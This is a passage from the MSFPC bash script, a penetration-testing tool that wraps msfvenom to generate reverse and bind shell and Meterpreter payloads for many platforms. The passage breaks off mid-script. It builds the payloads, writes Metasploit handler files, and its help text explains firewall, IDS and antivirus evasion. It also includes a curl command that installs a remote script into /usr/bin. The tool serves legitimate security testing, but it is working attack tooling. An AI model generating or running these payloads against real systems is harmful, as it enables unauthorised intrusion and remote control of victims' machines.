You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
880 lines
43 KiB
880 lines
43 KiB
5 years ago
|
#!/bin/bash
|
||
|
|
#-Metadata----------------------------------------------------#
|
||
|
|
# Filename: msfpc.sh (v1.4.5) (Update: 2019-02-18) #
|
||
|
|
#-Info--------------------------------------------------------#
|
||
|
|
# Quickly generate Metasploit payloads using msfvenom. #
|
||
|
|
#-Author(s)---------------------------------------------------#
|
||
|
|
# g0tmilk ~ https://blog.g0tmi1k.com/ #
|
||
|
|
#-Operating System--------------------------------------------#
|
||
|
|
# Designed for & tested on: Kali Rolling & Metasploit v4.11+ #
|
||
|
|
# Reported working: OSX 10.11+ & Kali Linux 1.x/2.x #
|
||
|
|
#-Licence-----------------------------------------------------#
|
||
|
|
# MIT License ~ http://opensource.org/licenses/MIT #
|
||
|
|
#-Notes-------------------------------------------------------#
|
||
|
|
# Requires: #
|
||
|
|
# Metasploit Framework v4.11.3-2015062101 or higher #
|
||
|
|
# --- #
|
||
|
|
# Useful Manual Commands: #
|
||
|
|
# msfvenom --list payloads #
|
||
|
|
# msfvenom --list encoders #
|
||
|
|
# msfvenom --help-formats #
|
||
|
|
# --- #
|
||
|
|
# Reminder about payload names: #
|
||
|
|
# shell_bind_tcp - Single / Inline / NonStaged / Stageless #
|
||
|
|
# shell/bind_tcp - Staged (Requires Metasploit) #
|
||
|
|
#-Known Bugs--------------------------------------------------#
|
||
|
|
# [BATCH/LOOP] The script must have the executable flag set #
|
||
|
|
# [BATCH] Will not generate DLL files #
|
||
|
|
#-------------------------------------------------------------#
|
||
|
|
|
||
|
|
#--Quick Install----------------------------------------------#
|
||
|
|
# curl -k -L "https://raw.githubusercontent.com/g0tmi1k/msfpc/master/msfpc.sh" > /usr/bin/msfpc; chmod +x /usr/bin/msfpc
|
||
|
|
#-------------------------------------------------------------#
|
||
|
|
|
||
|
|
#-More information--------------------------------------------#
|
||
|
|
# - https://www.offensive-security.com/metasploit-unleashed/payloads/
|
||
|
|
# - https://www.offensive-security.com/metasploit-unleashed/payload-types/
|
||
|
|
# - https://www.offensive-security.com/metasploit-unleashed/msfvenom/
|
||
|
|
# - https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
|
||
|
|
# - https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom
|
||
|
|
# - https://community.rapid7.com/community/metasploit/blog/2014/12/09/good-bye-msfpayload-and-msfencode
|
||
|
|
# - https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
|
||
|
|
#-------------------------------------------------------------#
|
||
|
|
|
||
|
|
|
||
|
|
#-Defaults----------------------------------------------------#
|
||
|
|
|
||
|
|
|
||
|
|
##### Variables
|
||
|
|
OUTPATH="$( pwd )/" # Others: ./ /tmp/ /var/www/
|
||
|
|
|
||
|
|
##### (Cosmetic) Colour output
|
||
|
|
RED="\033[01;31m" # Issues/Errors
|
||
|
|
GREEN="\033[01;32m" # Success/Asking for Input
|
||
|
|
YELLOW="\033[01;33m" # Warnings/Information
|
||
|
|
BLUE="\033[01;34m" # Heading
|
||
|
|
BOLD="\033[01;01m" # Highlight
|
||
|
|
RESET="\033[00m" # Normal
|
||
|
|
|
||
|
|
##### Read command line arguments
|
||
|
|
TYPE="" #"$( echo ${1} | \tr '[:upper:]' '[:lower:]' )" Defalut: *REQUIRED*
|
||
|
|
IP="" #"${2}" Defalut: *IP menu*
|
||
|
|
PORT="" #"${3}" Deafult: 443
|
||
|
|
SHELL="" # shell // meterpreter Default: meterpreter
|
||
|
|
DIRECTION="" # reverse // bind Default: reverse
|
||
|
|
STAGE="" # staged // stageless Default: stageless
|
||
|
|
METHOD="" # tcp // http // https // find_port Default: tcp
|
||
|
|
VERBOSE=false
|
||
|
|
|
||
|
|
##### Default values
|
||
|
|
SUCCESS=false # Did we successfully create a payload?
|
||
|
|
DOMAIN=false # IP address or domain name?
|
||
|
|
BATCH=false # Are we creating multiple payloads (one of each type) ?
|
||
|
|
LOOP=false # Are we creating multiple payloads (every possible combination)?
|
||
|
|
HELP=false # Display the help screen?
|
||
|
|
DARWIN=false # In case of OSX users
|
||
|
|
|
||
|
|
##### (Optional) Enable debug mode?
|
||
|
|
#set -x
|
||
|
|
|
||
|
|
|
||
|
|
#-Function----------------------------------------------------#
|
||
|
|
|
||
|
|
## doAction TYPE IP PORT PAYLOAD CMD FILEEXT SHELL DIRECTION STAGE METHOD VERBOSE
|
||
|
|
function doAction {
|
||
|
|
TYPE="${1}"
|
||
|
|
IP="${2}"
|
||
|
|
PORT="${3}"
|
||
|
|
PAYLOAD="${4}"
|
||
|
|
CMD="${5}"
|
||
|
|
FILEEXT="${6%-service}"
|
||
|
|
SHELL="${7}"
|
||
|
|
DIRECTION="${8}"
|
||
|
|
STAGE="${9}"
|
||
|
|
METHOD="${10}"
|
||
|
|
VERBOSE="${11}"
|
||
|
|
|
||
|
|
if [[ -z "${VERBOSE}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} ${RED}Something went wrong (Internally)${RESET}: doAction TYPE(${TYPE}) IP(${IP}) PORT(${PORT}) PAYLOAD(${PAYLOAD}) CMD(${CMD}) FILEEXT(${FILEEXT}) SHELL(${SHELL}) DIRECTION(${DIRECTION}) STAGE(${STAGE}) METHOD(${METHOD}) VERBOSE(${VERBOSE})" >&2
|
||
|
|
exit 2
|
||
|
|
fi
|
||
|
|
|
||
|
|
FILENAME="${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
|
||
|
|
FILEHANDLE="${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}-${FILEEXT}.rc"
|
||
|
|
|
||
|
|
X=" IP"
|
||
|
|
[[ "${DOMAIN}" == "true" ]] \
|
||
|
|
&& X='NAME'
|
||
|
|
[[ "${VERBOSE}" == "true" ]] \
|
||
|
|
&& PADDING=' '
|
||
|
|
|
||
|
|
echo -e " ${YELLOW}[i]${RESET}${PADDING} ${X}: ${YELLOW}${IP}${RESET}"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET}${PADDING} PORT: ${YELLOW}${PORT}${RESET}"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET}${PADDING} TYPE: ${YELLOW}${TYPE}${RESET} (${PAYLOAD})"
|
||
|
|
if [[ "${VERBOSE}" == "true" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} SHELL: ${YELLOW}${SHELL}${RESET}"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} DIRECTION: ${YELLOW}${DIRECTION}${RESET}"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} STAGE: ${YELLOW}${STAGE}${RESET}"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} METHOD: ${YELLOW}${METHOD}${RESET}"
|
||
|
|
fi
|
||
|
|
echo -e " ${YELLOW}[i]${RESET}${PADDING} CMD: ${BOLD}${CMD}${RESET}"
|
||
|
|
echo ""
|
||
|
|
|
||
|
|
CMD=$( echo $CMD | sed 's/\\\\\n//g' )
|
||
|
|
|
||
|
|
[[ -e "${FILENAME}" ]] \
|
||
|
|
&& echo -e " ${YELLOW}[i]${RESET} File (${FILENAME}) ${YELLOW}already exists${RESET}. ${YELLOW}Overwriting...${RESET}" \
|
||
|
|
&& rm -f "${FILENAME}"
|
||
|
|
eval "${CMD}" 2>/tmp/msfpc.out
|
||
|
|
[[ ! -s "${FILENAME}" ]] \
|
||
|
|
&& rm -f "${FILENAME}"
|
||
|
|
if [[ -e "${FILENAME}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} ${TYPE} ${SHELL} created: '${YELLOW}${FILENAME}${RESET}'"
|
||
|
|
echo ""
|
||
|
|
\chmod +x "${FILENAME}"
|
||
|
|
else
|
||
|
|
echo ""
|
||
|
|
\grep -q 'Invalid Payload Selected' /tmp/msfpc.out 2>/dev/null
|
||
|
|
if [[ "$?" == '0' ]]; then
|
||
|
|
echo -e "\n ${YELLOW}[i]${RESET} ${RED}Invalid Payload Selected${RESET} (Metasploit doesn't support this) =(" >&2
|
||
|
|
\rm -f /tmp/msfpc.out
|
||
|
|
else
|
||
|
|
echo -e "\n ${YELLOW}[i]${RESET} Something went wrong. ${RED}Issue creating file${RESET} =(." >&2
|
||
|
|
echo -e "\n----------------------------------------------------------------------------------------"
|
||
|
|
[ -e "/usr/share/metasploit-framework/build_rev.txt" ] \
|
||
|
|
&& \cat /usr/share/metasploit-framework/build_rev.txt \
|
||
|
|
|| \msfconsole -v
|
||
|
|
\uname -a
|
||
|
|
echo -e "----------------------------------------------------------------------------------------${RED}"
|
||
|
|
\cat /tmp/msfpc.out
|
||
|
|
echo -e "${RESET}----------------------------------------------------------------------------------------\n"
|
||
|
|
fi
|
||
|
|
exit 2
|
||
|
|
fi
|
||
|
|
#\rm -f /tmp/msfpc.out
|
||
|
|
|
||
|
|
if [[ "${VERBOSE}" == "true" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} File: $( \file -b ${FILENAME} )"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Size: $( \du -h ${FILENAME} | \cut -f1 )"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} MD5: $( \openssl md5 ${FILENAME} | \awk '{print $2}' )"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} SHA1: $( \openssl sha1 ${FILENAME} | \awk '{print $2}' )"
|
||
|
|
echo -e ""
|
||
|
|
fi
|
||
|
|
|
||
|
|
HOST="LHOST"
|
||
|
|
[[ "${DIRECTION}" == "bind" ]] \
|
||
|
|
&& HOST="RHOST"
|
||
|
|
|
||
|
|
cat <<EOF > "${FILEHANDLE}"
|
||
|
|
#
|
||
|
|
# [Kali]: msfdb start; msfconsole -q -r '${FILEHANDLE}'
|
||
|
|
#
|
||
|
|
use exploit/multi/handler
|
||
|
|
set PAYLOAD ${PAYLOAD}
|
||
|
|
set ${HOST} ${IP}
|
||
|
|
set LPORT ${PORT}
|
||
|
|
set ExitOnSession false
|
||
|
|
set EnableStageEncoding true
|
||
|
|
#set AutoRunScript 'post/windows/manage/migrate'
|
||
|
|
run -j
|
||
|
|
EOF
|
||
|
|
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} MSF handler file: '${FILEHANDLE}'"
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Run: msfconsole -q -r '${FILEHANDLE}'"
|
||
|
|
#echo -e " ${YELLOW}[i]${RESET} MSF command: msfconsole -x \"use exploit/multi/handler; \\\\\n set PAYLOAD ${PAYLOAD}; \\\\\n set ${HOST} ${IP}; \\\\\n set LPORT ${PORT}; \\\\\n set ExitOnSession false; \\\\\n run -j\""
|
||
|
|
SUCCESS=true
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
## doHelp
|
||
|
|
function doHelp {
|
||
|
|
echo -e "\n ${BLUE}${0}${RESET} <${BOLD}TYPE${RESET}> (<${BOLD}DOMAIN/IP${RESET}>) (<${BOLD}PORT${RESET}>) (<${BOLD}CMD/MSF${RESET}>) (<${BOLD}BIND/REVERSE${RESET}>) (<${BOLD}STAGED/STAGELESS${RESET}>) (<${BOLD}TCP/HTTP/HTTPS/FIND_PORT${RESET}>) (<${BOLD}BATCH/LOOP${RESET}>) (<${BOLD}VERBOSE${RESET}>)"
|
||
|
|
echo -e " Example: ${BLUE}${0} windows 192.168.1.10${RESET} # Windows & manual IP."
|
||
|
|
echo -e " ${BLUE}${0} elf bind eth0 4444${RESET} # Linux, eth0's IP & manual port."
|
||
|
|
echo -e " ${BLUE}${0} stageless cmd py https${RESET} # Python, stageless command prompt."
|
||
|
|
echo -e " ${BLUE}${0} verbose loop eth1${RESET} # A payload for every type, using eth1's IP."
|
||
|
|
echo -e " ${BLUE}${0} msf batch wan${RESET} # All possible Meterpreter payloads, using WAN IP."
|
||
|
|
echo -e " ${BLUE}${0} help verbose${RESET} # Help screen, with even more information."
|
||
|
|
echo ""
|
||
|
|
echo -e " <${BOLD}TYPE${RESET}>:"
|
||
|
|
echo -e " + ${YELLOW}APK${RESET}"
|
||
|
|
echo -e " + ${YELLOW}ASP${RESET}"
|
||
|
|
echo -e " + ${YELLOW}ASPX${RESET}"
|
||
|
|
echo -e " + ${YELLOW}Bash${RESET} [.${YELLOW}sh${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}Java${RESET} [.${YELLOW}jsp${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}Linux${RESET} [.${YELLOW}elf${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}OSX${RESET} [.${YELLOW}macho${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}Perl${RESET} [.${YELLOW}pl${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}PHP${RESET}"
|
||
|
|
echo -e " + ${YELLOW}Powershell${RESET} [.${YELLOW}ps1${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}Python${RESET} [.${YELLOW}py${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}Tomcat${RESET} [.${YELLOW}war${RESET}]"
|
||
|
|
echo -e " + ${YELLOW}Windows${RESET} [.${YELLOW}exe${RESET} // .${YELLOW}exe${RESET} // .${YELLOW}dll${RESET}]"
|
||
|
|
echo ""
|
||
|
|
echo -e " Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address."
|
||
|
|
echo -e " Missing <DOMAIN/IP> will default to the IP menu."
|
||
|
|
echo ""
|
||
|
|
echo -e " Missing <PORT> will default to 443."
|
||
|
|
echo ""
|
||
|
|
echo -e " <CMD> is a standard/native command prompt/terminal to interactive with."
|
||
|
|
echo -e " <MSF> is a custom cross platform shell, gaining the full power of Metasploit."
|
||
|
|
echo -e " Missing <CMD/MSF> will default to <MSF> where possible."
|
||
|
|
if [[ "${VERBOSE}" == "true" ]]; then
|
||
|
|
echo -e " Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format."
|
||
|
|
echo -e " <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support."
|
||
|
|
echo -e " <MSF> payloads are generally much larger than <CMD>, as it comes with more features."
|
||
|
|
fi
|
||
|
|
echo ""
|
||
|
|
echo -e " <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target."
|
||
|
|
echo -e " <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target."
|
||
|
|
echo -e " Missing <BIND/REVERSE> will default to <REVERSE>."
|
||
|
|
[[ "${VERBOSE}" == "true" ]] \
|
||
|
|
&& echo -e " <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access."
|
||
|
|
echo ""
|
||
|
|
echo -e " <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit."
|
||
|
|
echo -e " <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>."
|
||
|
|
echo -e " Missing <STAGED/STAGELESS> will default to <STAGED> where possible."
|
||
|
|
if [[ "${VERBOSE}" == "true" ]]; then
|
||
|
|
echo -e " Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format."
|
||
|
|
echo -e " <STAGED> are 'better' in low-bandwidth/high-latency environments."
|
||
|
|
echo -e " <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS."
|
||
|
|
echo -e " More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads"
|
||
|
|
echo -e " https://www.offensive-security.com/metasploit-unleashed/payload-types/"
|
||
|
|
echo -e " https://www.offensive-security.com/metasploit-unleashed/payloads/"
|
||
|
|
fi
|
||
|
|
echo ""
|
||
|
|
echo -e " <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs."
|
||
|
|
echo -e " <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80."
|
||
|
|
echo -e " <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443."
|
||
|
|
echo -e " <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>."
|
||
|
|
echo -e " Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>."
|
||
|
|
if [[ "${VERBOSE}" == "true" ]]; then
|
||
|
|
echo -e " By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size."
|
||
|
|
echo -e " More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication"
|
||
|
|
fi
|
||
|
|
echo ""
|
||
|
|
echo -e " <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGELESS> & <TCP + HTTP + HTTPS + FIND_PORT> "
|
||
|
|
echo -e " <LOOP> will just create one of each <TYPE>."
|
||
|
|
echo ""
|
||
|
|
echo -e " <VERBOSE> will display more information."
|
||
|
|
exit 1
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
#-Start-------------------------------------------------------#
|
||
|
|
|
||
|
|
|
||
|
|
## Banner
|
||
|
|
echo -e " ${BLUE}[*]${RESET} ${BLUE}MSF${RESET}venom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MSFPC${RESET} v${BLUE}1.4.5${RESET})"
|
||
|
|
|
||
|
|
|
||
|
|
## Check system
|
||
|
|
## Are we using Linux or OSX?
|
||
|
|
if [[ "$( \uname )" != "Linux" ]] && [[ "$( \uname )" != "Darwin" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}You're not using Unix-like OS${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
elif [[ "$( \uname )" = "Darwin" ]]; then
|
||
|
|
DARWIN=true
|
||
|
|
fi
|
||
|
|
|
||
|
|
## msfvenom installed?
|
||
|
|
if [[ ! -n "$( \which msfvenom )" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't find msfvenom${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
fi
|
||
|
|
|
||
|
|
## cURL/wget installed?
|
||
|
|
if [[ -n "$( \which curl )" || -n "$( \which wget )" ]]; then
|
||
|
|
## Try and get external IP
|
||
|
|
WAN=""
|
||
|
|
[[ -n "$( \which curl )" ]] \
|
||
|
|
&& CMD="\curl -s --max-time 3" \
|
||
|
|
|| CMD="\wget -U 'curl' --connect-timeout 3 -qO-"
|
||
|
|
for url in 'http://ipinfo.io/ip' 'http://ifconfig.io/'; do
|
||
|
|
WAN=$( eval ${CMD} "${url}" )
|
||
|
|
[[ -n "${WAN}" ]] \
|
||
|
|
&& break
|
||
|
|
done
|
||
|
|
[[ "${VERBOSE}" == "true" && -z "${WAN}" ]] \
|
||
|
|
&& echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't get external WAN IP${RESET}" >&2
|
||
|
|
fi
|
||
|
|
|
||
|
|
## Is there a writeable path for us?
|
||
|
|
if [[ ! -d "${OUTPATH}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Unable to use ${OUTPATH}${RESET}" >&2
|
||
|
|
exit 3
|
||
|
|
fi
|
||
|
|
|
||
|
|
|
||
|
|
## Get default values (before batch/loop)
|
||
|
|
[[ -z "${PORT}" ]] \
|
||
|
|
&& PORT="443"
|
||
|
|
|
||
|
|
## Get NIC information
|
||
|
|
if [[ "$DARWIN" = "true" ]]; then # OSX users
|
||
|
|
IFACE=( $( for IFACE in $( \ifconfig -l -u | \tr ' ' '\n' ); do if ( \ifconfig ${IFACE} | \grep inet 1>/dev/null ); then echo ${IFACE}; fi; done ) )
|
||
|
|
IPs=(); for (( i=0; i<${#IFACE[@]}; ++i )); do IPs+=( $( \ifconfig "${IFACE[${i}]}" | \grep 'inet ' | \grep -E '([[:digit:]]{1,2}.){4}' | \sed -e 's_[:|addr|inet]__g; s_^[ \t]*__' | \awk '{print $1}' ) ); done
|
||
|
|
else # nix users
|
||
|
|
IFACE=( $( \awk '/:/ {print $1}' /proc/net/dev | \sed 's_:__' ) )
|
||
|
|
IPs=(); for (( i=0; i<${#IFACE[@]}; ++i )); do IPs+=( $( \ip addr list "${IFACE[${i}]}" | \grep 'inet ' | \cut -d' ' -f6 | \cut -d '/' -f1 ) ); done
|
||
|
|
fi
|
||
|
|
|
||
|
|
## Define TYPEs/FORMATs
|
||
|
|
TYPEs=( apk asp aspx bash java linux osx perl php powershell python tomcat windows ) # Due to how its coded, this must always be a higher array count than ${FORMATs}
|
||
|
|
FORMATs=( sh jsp lin elf macho pl ps1 py war win exe exe-service dll )
|
||
|
|
|
||
|
|
|
||
|
|
## Check user input
|
||
|
|
## Able to detect NIC interfaces?
|
||
|
|
if [[ -z "${IFACE}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't find any network interfaces${RESET}" >&2
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Need to manually define an IP. ${YELLOW}${0} --ip <IP>${RESET}" >&2
|
||
|
|
exit 2
|
||
|
|
fi
|
||
|
|
|
||
|
|
## Able to detect IP addresses?
|
||
|
|
if [[ -z "${IPs}" ]]; then
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't discover IP addresses${RESET}. =(" >&2
|
||
|
|
echo -e " ${YELLOW}[i]${RESET} Need to manually define it. ${YELLOW}${0} --ip <IP>${RESET}" >&2
|
||
|
|
exit 2
|
||
|
|
fi
|
||
|
|
|
||
|
|
## (!!!Magic Alert!!!) Try to predict what's what with inputs...
|
||
|
|
for x in $( \tr '[:upper:]' '[:lower:]' <<< "$@" ); do
|
||
|
|
if [[ "${x}" =~ ^--* ]]; then true # Long argument? (skip!)
|
||
|
|
elif [[ "${x}" == "list" || "${x}" == "ls" || "${x}" == "options" || "${x}" == "show" || "${x}" == "help" ]]; then HELP=true # List types? (aka help screen)
|
||
|
|
elif [[ "${x}" == "verbose" || "${x}" == "v" ]]; then VERBOSE=true # Verbose?
|
||
|
|
elif [[ "${x}" == "all" || "${x}" == "batch" || "${x}" == "a" ]]; then BATCH=true # Batch mode?
|
||
|
|
elif [[ "${x}" == "loop" || "${x}" == "l" ]]; then LOOP=true # Loop mode?
|
||
|
|
elif [[ "${x}" == "cmd" || "${x}" == "shell" || "${x}" == "normal" ]]; then SHELL="shell" # Shell?
|
||
|
|
elif [[ "${x}" == "meterpreter" || "${x}" == "msf" || "${x}" == "meterp" ]]; then SHELL="meterpreter" # Meterpreter?
|
||
|
|
elif [[ "${x}" == "bind" || "${x}" == "listen" ]]; then DIRECTION="bind" # Bind payload?
|
||
|
|
elif [[ "${x}" == "reverse" || "${x}" == "rev" ]]; then DIRECTION="reverse" # Reverse payload? (default)
|
||
|
|
elif [[ "${x}" == "staged" || "${x}" == "stager" || "${x}" == "stage" || "${x}" == "small" ]]; then STAGE=true # Staged?
|
||
|
|
elif [[ "${x}" == "stag"*"less" || "${x}" == "single" || "${x}" == "inline" || "${x}" == "no"* || "${x}" == "full" ]]; then STAGE=false # Stageless?
|
||
|
|
elif [[ "${x}" == "https" || "${x}" == "ssl" || "${x}" == "tls" ]]; then METHOD="https" # HTTPS payload?
|
||
|
|
elif [[ "${x}" == "http" || "${x}" == "www" ]]; then METHOD="http" # HTTP payload?
|
||
|
|
elif [[ "${x}" == "tcp" ]]; then METHOD="tcp" # TCP payload? (default)
|
||
|
|
elif [[ "${x}" == "find"* || "${x}" == "allport"* ]]; then METHOD="find_port" # Find_Port payload?
|
||
|
|
elif [[ "${x}" =~ ^-?[0-9]+$ && "${x}" -gt 1 && "${x}" -lt 65535 ]]; then PORT="${x}" # Port?
|
||
|
|
elif [[ "${x}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then IP="${x}" # IP?
|
||
|
|
elif [[ "${x}" == *.* ]]; then IP="${x}" # Domain/DNS? (weak detection & doesn't support hostname)
|
||
|
|
elif [[ "${x}" == "wan" && -n "${WAN}" ]]; then IP="${WAN}" # WAN interface?
|
||
|
|
else
|
||
|
|
known=false
|
||
|
|
for (( i=0; i<${#IFACE[@]}; ++i )); do [[ "${x}" == "${IFACE[${i}]}" ]] && IP="${IPs[${i}]}" && known=true && break; done # Interface? (rather than a an IP)
|
||
|
|
for (( i=0; i<${#TYPEs[@]}; ++i )); do [[ "${x}" == "${TYPEs[${i}]}" ]] && TYPE="${TYPEs[${i}]}" && known=true && break; done # Type?
|
||
|
|
for (( i=0; i<${#FORMATs[@]}; ++i )); do [[ "${x}" == "${FORMATs[${i}]}" ]] && TYPE="${FORMATs[${i}]}" && known=true && break; done # Type? (aka formats)
|
||
|
|
[[ "${known}" == false ]] \
|
||
|
|
&& echo -e " ${YELLOW}[i]${RESET} Unable to detect value: ${RED}${x}${RESET}" \
|
||
|
|
&& exit 1 # ...if we got this far, we failed. =(
|
||
|
|
fi
|
||
|
|
done
|
||
|
|
|
||
|
|
## If the user defined a value, overwrite it regardless
|
||
|
|
while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do
|
||
|
|
opt="${1}";
|
||
|
|
shift;
|
||
|
|
case "$( echo ${opt} | tr '[:upper:]' '[:lower:]' )" in
|
||
|
|
-|-- ) break 2;;
|
||
|
|
|
||
|
|
-p|--platform )
|
||
|
|
TYPE="${1}"; shift;;
|
||
|
|
--platform=* )
|
||
|
|
TYPE="${opt#*=}";;
|
||
|
|
-t|--type )
|
||
|
|
TYPE="${1}"; shift;;
|
||
|
|
--type=* )
|
||
|
|
TYPE="${opt#*=}";;
|
||
|
|
|
||
|
|
-i|--ip )
|
||
|
|
IP="${1}"; shift;;
|
||
|
|
--ip=* )
|
||
|
|
IP="${opt#*=}";;
|
||
|
|
|
||
|
|
-p|--port )
|
||
|
|
PORT="${1}"; shift;;
|
||
|
|
--port=* )
|
||
|
|
PORT="${opt#*=}";;
|
||
|
|
|
||
|
|
-m|--msf|--meterpreter )
|
||
|
|
SHELL="meterpreter";;
|
||
|
|
-c|--cmd|--shell )
|
||
|
|
SHELL="shell";;
|
||
|
|
--shell )
|
||
|
|
SHELL="${1}"; shift;;
|
||
|
|
--shell=* )
|
||
|
|
SHELL="${opt#*=}";;
|
||
|
|
|
||
|
|
-b|--bind|--listen )
|
||
|
|
DIRECTION="bind";;
|
||
|
|
-r|--rev|--reverse )
|
||
|
|
DIRECTION="reverse";;
|
||
|
|
--direction )
|
||
|
|
DIRECTION="${1}"; shift;;
|
||
|
|
--direction=* )
|
||
|
|
DIRECTION="${opt#*=}";;
|
||
|
|
|
||
|
|
-s|--staged|--stager )
|
||
|
|
STAGE=true;;
|
||
|
|
--stageless )
|
||
|
|
STAGE=false;;
|
||
|
|
--stage )
|
||
|
|
STAGE="${1}"; shift;;
|
||
|
|
--stage=* )
|
||
|
|
STAGE="${opt#*=}";;
|
||
|
|
|
||
|
|
-t|--tcp )
|
||
|
|
METHOD="tcp";;
|
||
|
|
--http|--www )
|
||
|
|
METHOD="http";;
|
||
|
|
--https|--ssl|--tls )
|
||
|
|
METHOD="https";;
|
||
|
|
-f|--find|--all|--find_port|--find-port|--findport|--allports|--all-ports|--all_ports )
|
||
|
|
METHOD="find_port";;
|
||
|
|
--method )
|
||
|
|
METHOD="${1}"; shift;;
|
||
|
|
--method=* )
|
||
|
|
METHOD="${opt#*=}";;
|
||
|
|
|
||
|
|
-a|--all|--batch )
|
||
|
|
BATCH=true;;
|
||
|
|
-l|--loop )
|
||
|
|
LOOP=true;;
|
||
|
|
|
||
|
|
-v|--verbose )
|
||
|
|
VERBOSE=true;;
|
||
|
|
|
||
|
|
-h|--help|-ls|--list|--options )
|
||
|
|
HELP=true;;
|
||
|
|
|
||
|
|
*) echo -e " ${YELLOW}[i]${RESET} Invalid option: ${RED}${x}${RESET}" && exit 1;;
|
||
|
|
esac
|
||
|
|
done
|
||
|
|
|
||
|
|
|
||
|
|
## Display help?
|
||
|
|
[[ "${HELP}" == true ]] \
|
||
|
|
&& doHelp
|
||
|
|
|
||
|
|
|
||
|
|
## Check input
|
||
|
|
if [[ "${SHELL}" == "shell" || "${SHELL}" == "cmd" || "${SHELL}" == "normal" ]]; then SHELL="shell"
|
||
|
|
elif [[ "${SHELL}" == "meterpreter" || "${SHELL}" == "msf" || "${SHELL}" == "meterp" ]]; then SHELL="meterpreter"; fi
|
||
|
|
#else SHELL="meterpreter"; fi # <--- cant due to batch mode (same with [[ -z "${SHELL}" ]])
|
||
|
|
|
||
|
|
if [[ "${DIRECTION}" == "reverse" || "${DIRECTION}" == "rev" ]]; then DIRECTION="reverse"
|
||
|
|
elif [[ "${DIRECTION}" == "bind" || "${DIRECTION}" == "listen" ]]; then DIRECTION="bind"; fi
|
||
|
|
|
||
|
|
if [[ "${STAGE}" == "true" || "${STAGE}" == "staged" || "${STAGE}" == "stager" || "${STAGE}" == "stage" || "${STAGE}" == "small" ]]; then STAGE='staged'; _STAGE='/'
|
||
|
|
elif [[ "${STAGE}" == "false" || "${STAGE}" == "stage"*"less" || "${STAGE}" == "single" || "${STAGE}" == "inline" || "${STAGE}" == "no"* || "${STAGE}" == "full" ]]; then STAGE='stageless'; _STAGE='_'; fi
|
||
|
|
|
||
|
|
if [[ "${METHOD}" == "tcp" ]]; then METHOD="tcp"
|
||
|
|
elif [[ "${METHOD}" == "http" || "${METHOD}" == "www" ]]; then METHOD="http"
|
||
|
